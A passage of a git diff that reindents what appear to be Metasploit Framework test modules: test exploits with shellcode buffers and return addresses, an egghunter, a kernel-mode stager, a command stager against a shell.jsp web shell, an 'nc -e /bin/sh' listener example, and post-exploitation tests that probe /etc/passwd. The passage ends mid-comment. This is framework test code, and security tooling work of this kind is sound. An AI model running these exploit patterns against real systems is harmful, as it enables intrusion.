'StackAdjustment' => -3500, - }, - 'Targets' => - [ - # Target 0: Universal - [ - 'Any Platform', - { - 'Platform' => [ 'linux', 'win' ] - } - ], - [ - 'Test encoder specific', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, - 'EncoderOptions' => - { - 'BufferRegister' => 'EBX', - 'BufferOffset' => 4 - } - } - }, - ], - [ - 'Cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], - [ 'Test context encoder', - { - 'Platform' => [ 'linux', 'win' ], - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ] - ], - 'DefaultTarget' => 0)) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Aggressive Test Exploit', + 'Description' => + "This module tests the exploitation of a test service.", + 'Author' => 'skape', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => 'x86', + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Targets' => + [ + # Target 0: Universal + [ + 'Any Platform', + { + 'Platform' => [ 'linux', 'win' ] + } + ], + [ + 'Test encoder specific', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, + 'EncoderOptions' => + { + 'BufferRegister' => 'EBX', + 'BufferOffset' => 4 + } + } + }, + ], + [ + 'Cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], + [ 'Test context encoder', + { + 'Platform' => [ 'linux', 'win' ], + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ] + ], + 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), - OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) - ]) - end + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), + OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) + ]) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit - # Show disassembled payload for context encoder test - if target.name =~ /context encoder/ - puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) - end + def exploit + # Show disassembled payload for context encoder test + if target.name =~ /context encoder/ + puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) + end - connect + connect - print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") + print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") - sock.put(payload.encoded) + sock.put(payload.encoded) - if (datastore['WaitForInput']) - puts "Type something..." - gets - end + if (datastore['WaitForInput']) + puts "Type something..." + gets + end - handler - end + handler + end end diff --git a/test/modules/exploits/test/check.rb b/test/modules/exploits/test/check.rb index a7aef9118b..52d0e0c10f 100644 --- a/test/modules/exploits/test/check.rb +++ b/test/modules/exploits/test/check.rb @@ -9,37 +9,37 @@ require 'msf/core' class Metasploit3 < Msf::Exploit - def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test Exploit", - 'Description' => %q{ - This module ensures that 'check' actually functions for Exploit modules. - }, - 'References' => - [ - [ 'OSVDB', '0' ] - ], - 'Author' => - [ - 'todb' - ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => 'May 23 2013' - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => "Check Test Exploit", + 'Description' => %q{ + This module ensures that 'check' actually functions for Exploit modules. + }, + 'References' => + [ + [ 'OSVDB', '0' ] + ], + 'Author' => + [ + 'todb' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'May 23 2013' + )) - register_options( - [ - Opt::RPORT(80) - ], self.class) - end + register_options( + [ + Opt::RPORT(80) + ], self.class) + end - def check - print_debug "Check is successful" - return Msf::Exploit::CheckCode::Vulnerable - end + def check + print_debug "Check is successful" + return Msf::Exploit::CheckCode::Vulnerable + end - def exploit - print_debug "Exploit is successful." - end + def exploit + print_debug "Exploit is successful." + end end diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb index 872c5d77f8..016d25834b 100644 --- a/test/modules/exploits/test/cmdweb.rb +++ b/test/modules/exploits/test/cmdweb.rb @@ -12,75 +12,75 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - # =( need more targets and perhaps more OS specific return values OS specific would be preferred + Rank = ManualRanking + # =( need more targets and perhaps more OS specific return values OS specific would be preferred - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Command Stager Web Test', - 'Description' => %q{ - This module tests the command stager mixin against a shell.jsp application installed - on an Apache Tomcat server. - }, - 'Author' => 'bannedit', - 'Version' => '$Revision$', - 'References' => - [ - ], - 'DefaultOptions' => - { - }, - 'Payload' => - { - }, - 'Platform' => 'win', - 'Privileged' => true, - 'Targets' => - [ - # need more but this will likely cover most cases - [ 'Automatic Targeting', - { - 'auto' => true - } - ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Feb 03 2010')) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Command Stager Web Test', + 'Description' => %q{ + This module tests the command stager mixin against a shell.jsp application installed + on an Apache Tomcat server. + }, + 'Author' => 'bannedit', + 'Version' => '$Revision$', + 'References' => + [ + ], + 'DefaultOptions' => + { + }, + 'Payload' => + { + }, + 'Platform' => 'win', + 'Privileged' => true, + 'Targets' => + [ + # need more but this will likely cover most cases + [ 'Automatic Targeting', + { + 'auto' => true + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 03 2010')) - register_options( - [ - Opt::RPORT(8080), - ], self.class) - end + register_options( + [ + Opt::RPORT(8080), + ], self.class) + end - def autofilter - false - end + def autofilter + false + end - # This is method required for the CmdStager to work... - def execute_command(cmd, opts) - uri = opts[:uri] - http_hash = { - 'uri' => uri.gsub(/CMDS/, Rex::Text.uri_encode(cmd)) - } - resp = send_request_raw(http_hash, 5) - end + # This is method required for the CmdStager to work... + def execute_command(cmd, opts) + uri = opts[:uri] + http_hash = { + 'uri' => uri.gsub(/CMDS/, Rex::Text.uri_encode(cmd)) + } + resp = send_request_raw(http_hash, 5) + end - def exploit + def exploit - opts = { - :delay => 0.5, - :uri => "/shell/shell.jsp?cmd=CMDS" - } + opts = { + :delay => 0.5, + :uri => "/shell/shell.jsp?cmd=CMDS" + } - execute_cmdstager(opts) + execute_cmdstager(opts) - handler + handler - end + end end diff --git a/test/modules/exploits/test/dialup.rb b/test/modules/exploits/test/dialup.rb index bb3be6a8c7..a4f9b6cb60 100644 --- a/test/modules/exploits/test/dialup.rb +++ b/test/modules/exploits/test/dialup.rb @@ -12,46 +12,46 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Dialup + include Msf::Exploit::Remote::Dialup - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Test Dialup Exploit', - 'Description' => %q{ - This exploit connects to a system's modem over dialup and provides - the user with a readout of the login banner. - }, - 'Version' => '$Revision$', - 'Author' => - [ - 'I)ruid', - ], - 'Arch' => ARCH_TTY, - 'Platform' => ['unix'], - 'License' => MSF_LICENSE, - 'Payload' => - { - 'Space' => 1000, - 'BadChars' => '', - 'DisableNops' => true, - }, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Test Dialup Exploit', + 'Description' => %q{ + This exploit connects to a system's modem over dialup and provides + the user with a readout of the login banner. + }, + 'Version' => '$Revision$', + 'Author' => + [ + 'I)ruid', + ], + 'Arch' => ARCH_TTY, + 'Platform' => ['unix'], + 'License' => MSF_LICENSE, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => '', + 'DisableNops' => true, + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0)) + end - def autofilter - false - end + def autofilter + false + end - def exploit - connect_dialup - handler - disconnect_dialup - end + def exploit + connect_dialup + handler + disconnect_dialup + end end diff --git a/test/modules/exploits/test/egghunter.rb b/test/modules/exploits/test/egghunter.rb index d79217b694..8da86b65ad 100644 --- a/test/modules/exploits/test/egghunter.rb +++ b/test/modules/exploits/test/egghunter.rb @@ -12,87 +12,87 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp - include Msf::Exploit::Egghunter + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Egghunter - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Egghunter Test Exploit', - 'Description' => - "This module tests the exploitation of a test service using the Egghunter.", - 'Author' => 'jduck', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'BadChars' => "\x00", - 'StackAdjustment' => -3500, - }, - 'Targets' => - [ - [ 'Windows', - { - 'Platform' => 'win' - } - ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Egghunter Test Exploit', + 'Description' => + "This module tests the exploitation of a test service using the Egghunter.", + 'Author' => 'jduck', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'BadChars' => "\x00", + 'StackAdjustment' => -3500, + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], - [ 'Linux', - { - 'Platform' => 'linux' - } - ] - ], - 'DefaultTarget' => 0)) + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]) - ]) - end + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]) + ]) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit + def exploit - connect + connect - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { - :checksum => true - }) - print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes") + eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { + :checksum => true + }) + print_status("Egghunter: hunter stub #{eh_stub.length} bytes, egg #{eh_egg.length} bytes") - sploit = '' + sploit = '' - # break before? - #sploit << "\xcc" - sploit << eh_stub - # just return otherwise - sploit << "\xc3" - # hopefully we find this! - sploit << eh_egg + # break before? + #sploit << "\xcc" + sploit << eh_stub + # just return otherwise + sploit << "\xc3" + # hopefully we find this! + sploit << eh_egg - sock.put(sploit) + sock.put(sploit) - if (datastore['WaitForInput']) - puts "Type something..." - gets - end + if (datastore['WaitForInput']) + puts "Type something..." + gets + end - handler - end + handler + end end diff --git a/test/modules/exploits/test/exploitme.rb b/test/modules/exploits/test/exploitme.rb index 52038857d8..a2b7b4411a 100644 --- a/test/modules/exploits/test/exploitme.rb +++ b/test/modules/exploits/test/exploitme.rb @@ -12,123 +12,123 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'MIPS Aggressive Test Exploit', - 'Description' => 'This module tests the exploitation of a test service', - 'Author' => ['skape', 'Julien Tinnes <julien[at]cr0.org>'], - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - #'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'MaxNops' => 0, - #'BadChars' => "\x00", - #'StackAdjustment' => -3500, - }, - 'Targets' => - [ - # Target 0: Universal - [ - 'Mips big endian', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE - } - ], - [ - 'Mips big endian cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], [ - 'Mips big endian encoder needed', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSBE, - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ], - [ - 'Mips little endian', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE - } - ], - [ - 'Mips little endian cannot be encoded', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE, - 'Payload' => - { - 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s - } - } - ], [ - 'Mips little endian encoder needed', - { - 'Platform' => [ 'linux', 'win' ], - 'Arch' => ARCH_MIPSLE, - 'Payload' => - { - 'BadChars' => "\x00" - } - } - ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MIPS Aggressive Test Exploit', + 'Description' => 'This module tests the exploitation of a test service', + 'Author' => ['skape', 'Julien Tinnes <julien[at]cr0.org>'], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + #'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'MaxNops' => 0, + #'BadChars' => "\x00", + #'StackAdjustment' => -3500, + }, + 'Targets' => + [ + # Target 0: Universal + [ + 'Mips big endian', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE + } + ], + [ + 'Mips big endian cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], [ + 'Mips big endian encoder needed', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSBE, + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ], + [ + 'Mips little endian', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE + } + ], + [ + 'Mips little endian cannot be encoded', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE, + 'Payload' => + { + 'BadChars' => (0..255).to_a.map { |x| x.chr }.to_s + } + } + ], [ + 'Mips little endian encoder needed', + { + 'Platform' => [ 'linux', 'win' ], + 'Arch' => ARCH_MIPSLE, + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ], - ], - 'DefaultTarget' => 0)) + ], + 'DefaultTarget' => 0)) - register_options( - [ - OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), - OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) - ]) - end + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), + OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) + ]) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit - # Show disassembled payload for context encoder test - if target.name =~ /context encoder/ - #puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) - #FIXME: do this with metasm for MIPS (import new metasm version which fixes current bug!) - end + def exploit + # Show disassembled payload for context encoder test + if target.name =~ /context encoder/ + #puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) + #FIXME: do this with metasm for MIPS (import new metasm version which fixes current bug!) + end - connect + connect - print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") + print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") - sock.put(payload.encoded) + sock.put(payload.encoded) - if (datastore['WaitForInput']) - puts "Type something..." - gets - end + if (datastore['WaitForInput']) + puts "Type something..." + gets + end - handler - end + handler + end end diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb index b26a7ec920..464e3e938e 100644 --- a/test/modules/exploits/test/java_tester.rb +++ b/test/modules/exploits/test/java_tester.rb @@ -13,46 +13,46 @@ require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - def initialize( info = {} ) - super( update_info( info, - 'Name' => 'Exec', - 'Description' => %q{ }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt' ], - 'Version' => '$Revision$', - 'References' => [ ], - 'Platform' => [ 'java', 'linux' ], - 'Arch' => ARCH_JAVA, - 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, - 'Targets' => - [ - [ 'Generic (Java Payload)', { - 'Arch' => ARCH_JAVA, - 'Platform' => 'java' - } ], - [ 'Linux', { - 'Arch' => ARCH_X86, - 'Platform' => 'linux' - } ], - ], - 'DefaultTarget' => 0 - )) + def initialize( info = {} ) + super( update_info( info, + 'Name' => 'Exec', + 'Description' => %q{ }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt' ], + 'Version' => '$Revision$', + 'References' => [ ], + 'Platform' => [ 'java', 'linux' ], + 'Arch' => ARCH_JAVA, + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } ], + [ 'Linux', { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } ], + ], + 'DefaultTarget' => 0 + )) - end + end - def exploit - # Equivalent to payload.encoded - @jar_data = payload.encoded_jar.pack + def exploit + # Equivalent to payload.encoded + @jar_data = payload.encoded_jar.pack - File.open("payload.jar", "wb") do |fd| - fd.write(@jar_data) - end + File.open("payload.jar", "wb") do |fd| + fd.write(@jar_data) + end - pid = Process.spawn("java -jar payload.jar &") - Process.detach pid - end + pid = Process.spawn("java -jar payload.jar &") + Process.detach pid + end end diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb index edb0aa43dd..70b25dfd8c 100644 --- a/test/modules/exploits/test/kernel.rb +++ b/test/modules/exploits/test/kernel.rb @@ -15,74 +15,74 @@ require 'msf/core' # This is a test exploit for testing kernel-mode payloads. # class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Udp - include Msf::Exploit::KernelMode + include Msf::Exploit::Remote::Udp + include Msf::Exploit::KernelMode - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Kernel-mode Test Exploit', - 'Description' => - "This module tests the exploitation of a kernel-mode test service.", - 'Author' => 'skape', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => 'x86', - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 - 'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500 - }, - 'Targets' => - [ - [ - 'Windows XP SP2', - { - 'Ret' => 0x80502d7f, # jmp esp - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'Recovery' => 'spin' - } - } - } - ], - ], - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Kernel-mode Test Exploit', + 'Description' => + "This module tests the exploitation of a kernel-mode test service.", + 'Author' => 'skape', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => 'x86', + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 + 'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500 + }, + 'Targets' => + [ + [ + 'Windows XP SP2', + { + 'Ret' => 0x80502d7f, # jmp esp + 'Platform' => 'win', + 'Payload' => + { + 'ExtendedOptions' => + { + 'Stager' => 'sud_syscall_hook', + 'Recovery' => 'spin' + } + } + } + ], + ], + 'DefaultTarget' => 0)) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit - connect_udp + def exploit + connect_udp - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - buf = - rand_text_alphanumeric(260) + - "\xbe\x7f\x00\x00" + - rand_text_alphanumeric(28) + - [target.ret].pack('V') + - rand_text_alphanumeric(8) + - payload.encoded + buf = + rand_text_alphanumeric(260) + + "\xbe\x7f\x00\x00" + + rand_text_alphanumeric(28) + + [target.ret].pack('V') + + rand_text_alphanumeric(8) + + payload.encoded - udp_sock.put(buf) + udp_sock.put(buf) - select(nil,nil,nil,2) + select(nil,nil,nil,2) - disconnect_udp - end + disconnect_udp + end end diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb index acad76b525..8cd284aa41 100644 --- a/test/modules/exploits/test/shell.rb +++ b/test/modules/exploits/test/shell.rb @@ -12,49 +12,49 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Command Test', - 'Description' => %q{ - This module tests cmd payloads by targeting (for example) a server - like: nc -l -p 31337 -e /bin/sh - }, - 'Author' => 'egypt', - 'Version' => '$Revision$', - 'References' => [ ], - 'DefaultOptions' => { }, - 'Payload' => - { - }, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Targets' => - [ - [ 'Automatic Targeting', { } ], - ], - 'DefaultTarget' => 0 - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Command Test', + 'Description' => %q{ + This module tests cmd payloads by targeting (for example) a server + like: nc -l -p 31337 -e /bin/sh + }, + 'Author' => 'egypt', + 'Version' => '$Revision$', + 'References' => [ ], + 'DefaultOptions' => { }, + 'Payload' => + { + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Automatic Targeting', { } ], + ], + 'DefaultTarget' => 0 + )) - register_options( - [ - Opt::RPORT(31337), - ], self.class) - end + register_options( + [ + Opt::RPORT(31337), + ], self.class) + end - def autofilter - false - end + def autofilter + false + end - def exploit - connect + def exploit + connect - sock.put(payload.encoded + "\n") + sock.put(payload.encoded + "\n") - handler - end + handler + end end diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index d3937cda69..f5b2061ea1 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -8,162 +8,162 @@ require 'module_test' class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Common - include Msf::Post::File + include Msf::ModuleTest::PostTest + include Msf::Post::Common + include Msf::Post::File - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Remote File Manipulation', - 'Description' => %q{ This module will test Post::File API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - end + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Remote File Manipulation', + 'Description' => %q{ This module will test Post::File API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'windows', 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + end - # - # Change directory into a place that we have write access. - # - # The +cleanup+ method will change it back - # - def setup - @old_pwd = pwd - tmp = (directory?("/tmp")) ? "/tmp" : "%TMP%" - vprint_status("Setup: changing working directory to #{tmp}") - cd(tmp) + # + # Change directory into a place that we have write access. + # + # The +cleanup+ method will change it back + # + def setup + @old_pwd = pwd + tmp = (directory?("/tmp")) ? "/tmp" : "%TMP%" + vprint_status("Setup: changing working directory to #{tmp}") + cd(tmp) - super - end + super + end - def test_file - it "should test for file existence" do - ret = false - [ - "c:\\boot.ini", - "c:\\pagefile.sys", - "/etc/passwd", - "/etc/master.passwd" - ].each { |path| - ret = true if file?(path) - } + def test_file + it "should test for file existence" do + ret = false + [ + "c:\\boot.ini", + "c:\\pagefile.sys", + "/etc/passwd", + "/etc/master.passwd" + ].each { |path| + ret = true if file?(path) + } - ret - end + ret + end - it "should test for directory existence" do - ret = false - [ - "c:\\", - "/etc/", - "/tmp" - ].each { |path| - ret = true if directory?(path) - } + it "should test for directory existence" do + ret = false + [ + "c:\\", + "/etc/", + "/tmp" + ].each { |path| + ret = true if directory?(path) + } - ret - end + ret + end - it "should create text files" do - write_file("pwned", "foo") + it "should create text files" do + write_file("pwned", "foo") - file?("pwned") - end + file?("pwned") + end - it "should read the text we just wrote" do - f = read_file("pwned") - ret = ("foo" == f) - unless ret - print_error("Didn't read what we wrote, actual file on target: #{f}") - end + it "should read the text we just wrote" do + f = read_file("pwned") + ret = ("foo" == f) + unless ret + print_error("Didn't read what we wrote, actual file on target: #{f}") + end - ret - end + ret + end - it "should append text files" do - ret = true - append_file("pwned", "bar") + it "should append text files" do + ret = true + append_file("pwned", "bar") - ret &&= read_file("pwned") == "foobar" - append_file("pwned", "baz") - final_contents = read_file("pwned") - ret &&= final_contents == "foobarbaz" - unless ret - print_error("Didn't read what we wrote, actual file on target: #{final_contents}") - end + ret &&= read_file("pwned") == "foobar" + append_file("pwned", "baz") + final_contents = read_file("pwned") + ret &&= final_contents == "foobarbaz" + unless ret + print_error("Didn't read what we wrote, actual file on target: #{final_contents}") + end - ret - end + ret + end - it "should delete text files" do - file_rm("pwned") + it "should delete text files" do + file_rm("pwned") - not file_exist?("pwned") - end + not file_exist?("pwned") + end - it "should move files" do - # Make sure we don't have leftovers from a previous run - file_rm("meterpreter-test") rescue nil - file_rm("meterpreter-test-moved") rescue nil + it "should move files" do + # Make sure we don't have leftovers from a previous run + file_rm("meterpreter-test") rescue nil + file_rm("meterpreter-test-moved") rescue nil - # touch a new file - write_file("meterpreter-test", "") + # touch a new file + write_file("meterpreter-test", "") - rename_file("meterpreter-test", "meterpreter-test-moved") - res &&= exist?("meterpreter-test-moved") - res &&= !exist?("meterpreter-test") + rename_file("meterpreter-test", "meterpreter-test-moved") + res &&= exist?("meterpreter-test-moved") + res &&= !exist?("meterpreter-test") - # clean up - file_rm("meterpreter-test") rescue nil - file_rm("meterpreter-test-moved") rescue nil - end + # clean up + file_rm("meterpreter-test") rescue nil + file_rm("meterpreter-test-moved") rescue nil + end - end + end - def test_binary_files + def test_binary_files - #binary_data = ::File.read("/bin/ls") - binary_data = ::File.read("/bin/echo") - #binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" - it "should write binary data" do - vprint_status "Writing #{binary_data.length} bytes" - t = Time.now - write_file("pwned", binary_data) - vprint_status("Finished in #{Time.now - t}") + #binary_data = ::File.read("/bin/ls") + binary_data = ::File.read("/bin/echo") + #binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" + it "should write binary data" do + vprint_status "Writing #{binary_data.length} bytes" + t = Time.now + write_file("pwned", binary_data) + vprint_status("Finished in #{Time.now - t}") - file_exist?("pwned") - end + file_exist?("pwned") + end - it "should read the binary data we just wrote" do - bin = read_file("pwned") - vprint_status "Read #{bin.length} bytes" + it "should read the binary data we just wrote" do + bin = read_file("pwned") + vprint_status "Read #{bin.length} bytes" - bin == binary_data - end + bin == binary_data + end - it "should delete binary files" do - file_rm("pwned") + it "should delete binary files" do + file_rm("pwned") - not file_exist?("pwned") - end + not file_exist?("pwned") + end - it "should append binary data" do - write_file("pwned", "\xde\xad") - append_file("pwned", "\xbe\xef") - bin = read_file("pwned") - file_rm("pwned") + it "should append binary data" do + write_file("pwned", "\xde\xad") + append_file("pwned", "\xbe\xef") + bin = read_file("pwned") + file_rm("pwned") - bin == "\xde\xad\xbe\xef" - end + bin == "\xde\xad\xbe\xef" + end - end + end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - cd(@old_pwd) - super - end + def cleanup + vprint_status("Cleanup: changing working directory back to #{@old_pwd}") + cd(@old_pwd) + super + end end diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index b43b8ea8d9..d29ef6f223 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -7,336 +7,336 @@ require 'module_test' class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTest - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Meterpreter Stuff', - 'Description' => %q{ This module will test meterpreter API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Meterpreter Stuff', + 'Description' => %q{ This module will test meterpreter API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'windows', 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter' ] + )) - end + end - # - # Change directory into a place that we have write access. - # - # The +cleanup+ method will change it back. This method is an implementation - # of post/test/file.rb's method of the same name, but without the Post::File - # dependency. - # - def setup - @old_pwd = session.fs.dir.getwd - stat = session.fs.file.stat("/tmp") rescue nil - if (stat and stat.directory?) - tmp = "/tmp" - else - tmp = session.fs.file.expand_path("%TMP%") - end - vprint_status("Setup: changing working directory to #{tmp}") - session.fs.dir.chdir(tmp) + # + # Change directory into a 